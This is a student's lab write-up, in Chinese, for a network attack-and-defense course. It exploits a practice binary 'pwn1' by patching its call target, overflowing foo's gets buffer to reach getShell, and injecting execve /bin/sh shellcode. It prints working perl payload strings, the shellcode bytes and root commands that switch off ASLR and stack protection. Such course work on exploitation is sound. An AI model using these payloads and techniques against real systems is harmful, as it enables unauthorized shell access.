20212811 2021-2022-2 《网络攻防实践》实践九作业
一、实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。实践的目标是想办法运行这个代码片段。
1 实践内容
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
2 需要掌握的基础知识
- 熟悉Linux基本操作
- 理解Bof的原理。
- 会使用gdb,vi。
- 指令、参数。
- 理解思路。
2.1 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
(1)NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
(2)JNE:条件转移指令,如果不相等则跳转。(机器码:75)
(3)JE:条件转移指令,如果相等则跳转。(机器码:74)
(4)JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)
(5)CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。CMP指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
2.2 补码
计算机中的有符号数有三种表示方法,即原码、反码和补码。三种表示方法均有符号位和数值位两部分,符号位都是用0表示“正”,用1表示“负”,而数值位,三种表示方法各不相同。在计算机系统中,数值一律用补码来表示和存储。原因在于,使用补码,可以将符号位和数值域统一处理;同时,加法和减法也可以统一处理 。
2.3 反汇编指令objdump
二、实践过程
(一) 直接修改程序机器指令,改变程序执行流程
1.下载目标文件pwn1,使用readelf
命令来读出整个ELF文件头的内容,可以看到这里是小端模式
2.复制pwn1到pwn20212811,对目标文件pwn20212811反汇编objdump -d pwn20212811 | more
3. 对文件进行查看,找到getShell
、foo
、main
函数的位置,进行分析
-
看main函数的第4行,"call 8048491 "是汇编指令
- 是说这条指令将调用位于地址8048491处的foo函数;
- 其对应机器指令为“e8 d7ffffff”,e8即跳转之意。
-
本来正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,但如一解释e8这条指令呢,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码(这里因为是小端模式),表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值,
5.main函数调用foo,对应机器指令为“e8 d7ffffff”,
- 那我们想让它调用getShell,只要修改“d7ffffff”为,"getShell-80484ba"对应的补码就行。
- 用Windows计算器,直接 47d-4ba就能得到补码,是fffffc3。根据小端模式,将指令的目标地址由d7ffffff变为c3ffffff
-
下面我们就修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff。
6.修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff。
根据老师的步骤,对目标文件pwn20212811进行修改
(1)按ESC键
(2)输入如下,将显示模式切换为16进制模式 :%!xxd
(3)查找要修改的内容 /e8d7
(4)找到后前后的内容和反汇编的对比下,确认是地方是正确的
(5)修改d7为c3
(6)转换16进r制为原格式 :%!xxd -
7.运行修改前的pwn1程序,可得结果如图:
8.运行经过修改后的pwn20212811程序,可得结果如图:
(二)利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
1.使用objdump -d pwn1 | more
将pwn1反汇编后查看foo函数,该函数的功能是调用gets读进用户输入的字符串然后用puts函数将字符串输出,但是该函数并没有检查用户输入,所以存在BOF漏洞。
观察反汇编出的汇编代码得知预留的局部变量的空间为0x38,而gets函数将读取到的字符串存放到0x1c(28个字节)处,根据堆栈结构,当输入字符串长度达到36时,第33~36个字节将会覆盖到EIP中:
2.使用gdb对pwn1进行调试,当输入长度为40的字符串“aaaaaaaabbbbbbbbccccccccddddddddeeeeeee”后出现段错误,查看各寄存器状态可以发现当前EIP寄存器的内容为0x65656565(“e”的ASCLL码的十六进制为65),因此可以说明当输入字符串过长时,第33~36个字节将会覆盖EIP的内容
3.通过以上分析,只要将输入字符串的第33~36位设置为getShell函数的入口地址,便可以在foo函数返回直接跳转到getShell函数并运行。
使用命令perl -e 'print "zzzzzzzzccccccczzzzzzzzcccccccccc\x7d\x84\x04\x08\x0a"' > input
生成十六进制字符串文件“input”,
最后用(cat input; cat) | ./pwn1
命令将input作为pwn1的输入,获得shell:
(三)注入一个自己制作的shellcode并运行这段shellcode
1.首先使用execstack等命令设置堆栈可执行并关闭地址随机化:
命令 | 作用 |
---|---|
execstack -s pwn1 | 将堆栈设为可执行状态 |
execstack -q pwn1 | 查看文件pwn1的堆栈是否是可执行状态 |
more /proc/sys/kernel/randomize_va_space | 查看地址随机化的状态 |
echo "0"> /proc/sys/kernel/randomize_va_space | 关闭地址随机化 |
其中需要注意的是,执行echo "0"> /proc/sys/kernel/randomize_va_space
命令时需要root权限,这里需要提权(sudo su
):
在root模式下输入apt-get install execstack对execstack进行安装。
分别输入execstack -s pwn1 设置堆栈可执行 ,execstack -q pwn3 查询文件的堆栈是否可执行。
2.输入more /proc/sys/kernel/randomize_va_space查看地址随机化的状态是否关闭,输入echo "0"> /proc/sys/kernel/randomize_va_space 关闭地址随机化(需要用root模式),再次查询地址随机化的状态为关闭。
3.使用perl构造十六进制的37个字节的输入串输入perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode其中第33~36个字节即\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置,后输入pwn1并输入(cat input_shellcode;cat) | ./pwn1运行pwn1。
4.打开一个新界面,输入ps -ef | grep pwn3找到pwn3的进程号是195017。
5. 输入attach 195017 命令启动gdb调试这个进程,通过设置断点输入 disassemble foo 来查看注入buf的内存地址。
6.输入 break *0x080484ae 设置断点,输入 c 继续运行,同时在pwn1进程正在运行的那个界面点击回车,使其继续执行。
7. 再返回调试界面,输入info r esp命令查找地址,再输入 x/16x 0xffffd50c 可以看到0x01020304的位置在0xffffd50c。根据我们构造的input_shellcode可知retaddr地址应为0xffffd50c+0x00000004=0xffffd510.
8.构造shellcode:32个A+retaddr+nop+shellcode,输入 perl -e 'print "A" x 32;print "\x10\xd5\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode如图所示,将其作为pwn3的输入,输入 (cat input_shellcode;cat) | ./pwn1并执行程序。
三、学习中遇到的问题及解决
-
问题1:execstack无法安装
-
问题1解决方式:更换kali源并更新
四、实践总结
通过这次实验,我学会了如何更改可执行文件的执行顺序,达到调用某些函数的目的,通过更改汇编指令源代码实现。
学会利用BoF漏洞,通过输入比缓冲区更大的字符串从而使缓冲区溢出,导致程序运行的顺序发生改变,这里是通过输入字符串,字符串带有某些函数在程序中的相对偏移量,使溢出的部分刚好是偏移量实现的。